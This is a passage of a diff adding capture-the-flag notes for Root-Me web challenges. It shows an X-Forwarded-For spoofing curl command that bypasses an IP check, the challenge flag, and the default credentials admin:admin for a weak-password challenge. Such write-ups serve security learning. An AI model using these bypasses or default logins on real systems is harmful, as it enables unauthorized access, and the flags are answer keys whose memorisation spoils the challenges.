- App trusts spoofable headers and only checks if IP is in private/LAN ranges.
|
||||||
|
|
||||||
|
Exploit command
|
||||||
|
#+begin_src bash
|
||||||
|
curl -i -H "X-Forwarded-For: 192.168.1.10" "http://challenge01.root-me.org/web-serveur/ch68/"
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
Flag
|
||||||
|
- `Ip_$po0Fing`
|
||||||
5
web-server/weak-password/notes.org
Normal file
5
web-server/weak-password/notes.org
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
* Weak Password
|
||||||
|
|
||||||
|
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/Weak-password
|
||||||
|
|
||||||
|
admin:admin
|
||||||
Reference in New Issue
Block a user